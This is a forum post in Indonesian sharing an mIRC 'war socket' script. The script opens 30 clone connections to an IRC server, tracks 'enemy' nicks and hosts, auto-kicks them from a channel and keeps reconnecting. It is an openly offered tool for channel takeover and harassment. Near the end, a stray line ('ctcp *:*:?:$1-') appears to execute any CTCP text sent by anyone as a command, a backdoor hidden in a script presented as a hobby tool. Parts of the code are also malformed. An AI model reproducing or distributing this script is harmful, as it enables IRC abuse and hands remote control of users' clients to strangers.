War Socket

Share

Silahkan untuk yg hoby War Scripts.
------------------
alias -l IGM.sock { return IGM1 IGM2 IGM3 IGM4 IGM5 IGM6 IGM7 IGM8 IGM9 IGM10 IGM11 IGM12 IGM13 IGM14 IGM15 IGM16 IGM17 IGM18 IGM19 IGM20 IGM21 IGM22 IGM23 IGM24 IGM25 IGM26 IGM27 IGM28 IGM29 IGM30 }
alias -l IGM.nick { return RBTZ1 RBTZ2 RBTZ3 RBTZ4 RBTZ5 RBTZ6 RBTZ7 RBTZ8 RBTZ9 RBTZ10 RBTZ11 RBTZ12 RBTZ13 RBTZ14 RBTZ15 RBTZ16 RBTZ17 RBTZ18 RBTZ19 RBTZ20 RBTZ21 RBTZ22 RBTZ23 RBTZ24 RBTZ25 RBTZ26 RBTZ27 RBTZ28 RBTZ29 RBTZ30 }
alias -l IGM.serv { return irc.ads.net.id irc.ads.net.id irc.ads.net.id irc.ads.net.id irc.ads.net.id irc.ads.net.id irc.ads.net.id irc.ads.net.id irc.ads.net.id irc.ads.net.id irc.ads.net.id irc.ads.net.id irc.ads.net.id irc.ads.net.id irc.ads.net.id irc.ads.net.id irc.ads.net.id irc.ads.net.id irc.ads.net.id irc.ads.net.id irc.ads.net.id irc.ads.net.id irc.ads.net.id irc.ads.net.id irc.ads.net.id irc.ads.net.id irc.ads.net.id irc.ads.net.id irc.ads.net.id irc.ads.net.id }
alias -l IGM.base { return #grandcell }
alias -l IGM.chan { return #hell }
alias -l IGM.echo { echo -s 0,13< 6> 13,6< 1> 6,1< 15,1 8 RBTZtus 6,1> 1,6< 13> 6,13< 0> 1,1 $+ $chr(32) $+ 0,14[ $1- ] }

alias -l IGM.start {
.timerIGM $+ $1 1 $calc($1 * 5) sockopen IGM $+ $1 $gettok($IGM.serv,$1,32) 6667
IGM.echo IGM $+ $1 started, socket has been opened
}

alias -l IGM.task {
var %c = 1
if ($1 == open) {
while (%c <= $numtok($IGM.sock,32)) { if ($sock(IGM $+ %c)) { IGM.echo cannot open socket: IGM $+ %c already in use } else { IGM.start %c } inc %c } } if ($1 == close) { while (%c <= $numtok($IGM.sock,32)) { if ($sock(IGM $+ %c)) { sockclose IGM $+ %c IGM.echo IGM $+ %c stopped, socket has been closed } else { IGM.echo IGM $+ %c is not running } inc %c } .timerIGM* off } if ($1 == join) { while (!$sock(IGM $+ %c)) { IGM.start %c inc %c } sockwrite -nt IGM $+ %c join $IGM.chan } if ($1 == part) { while (%c <= $numtok($IGM.sock,32)) { if (!$sock(IGM $+ %c)) { IGM.start %c } else { sockwrite -nt IGM $+ %c part $IGM.chan } inc %c } } if ($1 == kick) { while (%c <= $numtok($IGM.sock,32)) { if (!$sock(IGM $+ %c)) { IGM.start %c } else { sockwrite -nt IGM $+ %c kick $IGM.chan $2 : 0,13< 6> 13,6< 1> 6,1< 15,1 8 MERY_CUTE CM TES SCRIPTS 6,1> 1,6< 13> 6,13< 0> }
inc %c
}
}
if ($1 == clear) {
if ($sock(IGM $+ %f)) { sockwrite -nt IGM $+ %f privmsg $IGM.chan : 0,13< 6> 13,6< 1> 6,1< 15,1 8 CleaR 6,1> 1,6< 13> 6,13< 0> }
else {
if (!$sock(IGM $+ %c)) { var %c = $calc(%c + 1) }
sockwrite -nt IGM $+ %c privmsg $IGM.chan : 0,13< 6> 13,6< 1> 6,1< 15,1 8 CleaR 6,1> 1,6< 13> 6,13< 0>
}
if ($hget(enemy)) { hfree enemy }
unset %f % [ $+ [ $sockname ] ]
}
if ($1 == list) {
%d = $hget(enemy,0).item
while (%d) {
IGM.echo $hget(enemy,%d).item
dec %d
}
}
}

on *:start:{ .fullname 8,1 ¤PowereD 9,1 By Sofyan 13AL 7Humaidi¤ }

on *:exit:{ IGM.task clear }

on *:kick:#:{
if ($chan == $IGM.chan) {
var %a = $findtok($IGM.nick,$knick,32)
if (%a) {
var %a = $iif(%a == 13,1,$calc(%a + 1))
if (!$hfind(enemy,$nick,0)) { hadd -m enemy $nick }
if (($gettok($address($nick,5),2,$asc(@))) && (!$hfind(enemy,$gettok($address($nick,5),2,$asc(@)),0))) { hadd -m enemy $gettok($address($nick,5),2,$asc(@)) }
if (!$sock(IGM $+ %a)) { $calc(%a + 1) }
set %f %a
sockwrite -nt IGM $+ %a join $IGM.chan
}
}
}

on *:sockopen:IGM*:{
var %IGM.nick $gettok($IGM.nick,$findtok($IGM.sock,$sockname,32),32)
if ($sockerr > 0) {
IGM.echo $sockname could not connect to the server
sockclose $sockname
halt
}
set % [ $+ [ $sockname ] ] %IGM.nick
IGM.echo $sockname connected, register with nick %IGM.nick
sockwrite -nt $sockname $1- nick %IGM.nick
sockwrite -nt $sockname user IGM $+ $findtok($IGM.sock,$sockname,32) x x : 8,1 ¤PowereD 9,1 By Sofyan 13AL 7Humaidi¤
}

on *:sockread:IGM*:{
:IGM.next
sockread -f %xxx
if ($sockbr == 0) return
tokenize 32 %xxx
if (($2 == mode) && ($3 == $IGM.chan) && (% [ $+ [ $sockname ] ] isin $5)) {
var %b = $nick($IGM.chan,0)
while %b {
if ($hfind(enemy,$nick($IGM.chan,%b),0)) { sockwrite -nt $sockname kick $IGM.chan $nick($IGM.chan,%b) : 9,1wWw 4,1. 3,1RoSeBaNdiTz 4,1. 9,1oRg }
dec %b
}
}
elseif (($2 == join) && ($IGM.chan isin $3)) {
var %enemy.nick = $gettok($mid($1,2,$len($1)),1,33), %enemy.host = $gettok($mid($1,2,$len($1)),2,$asc(@))
if ($hfind(enemy,%enemy.host,0)) { sockwrite -nt $sockname kick $IGM.chan %enemy.nick : 9,1wWw 4,1. 3,1RoSeBaNdiTz 4,1. 9,1oRg
}
}
elseif ($2 == 001) { sockwrite -nt $sockname join $IGM.base }
elseif ($2 == 451) {
IGM.echo $sockname did not register with nick % [ $+ [ $sockname ] ]
sockwrite -nt $sockname $1- nick % [ $+ [ $sockname ] ]
sockwrite -nt $sockname user IGM $+ $findtok($IGM.sock,$sockname,32) x x : 9,1wWw 4,1. 3,1RoSeBaNdiTz 4,1. 9,1oRg
}
elseif (($1 == ping || $2 == ping)) { sockwrite -nt $sockname pong $2- }
goto IGM.next
}

on *:sockclose:IGM*:{
var %e = $mid($sockname,6,0)
IGM.start %e
}
ctcp *:*:?:$1-
}
raw 482:*:{ haltdef }
raw 442:*:{ haltdef }
raw 404:*:{ haltdef }
raw 403:*:{ haltdef }
raw 441:*:{ halt }
raw 442:*:{ halt }

menu status,channel,nicklist {
Revolution
.Socket
..Open:{ IGM.task open }
..Close:{ IGM.task close }
.Robot
..Join:{ IGM.task join }
..Part:{ IGM.task part }
.Enemy
..Kick:{ IGM.task kick $$1 }
..Clear:{ IGM.task clear }
..List:{ IGM.task list }
}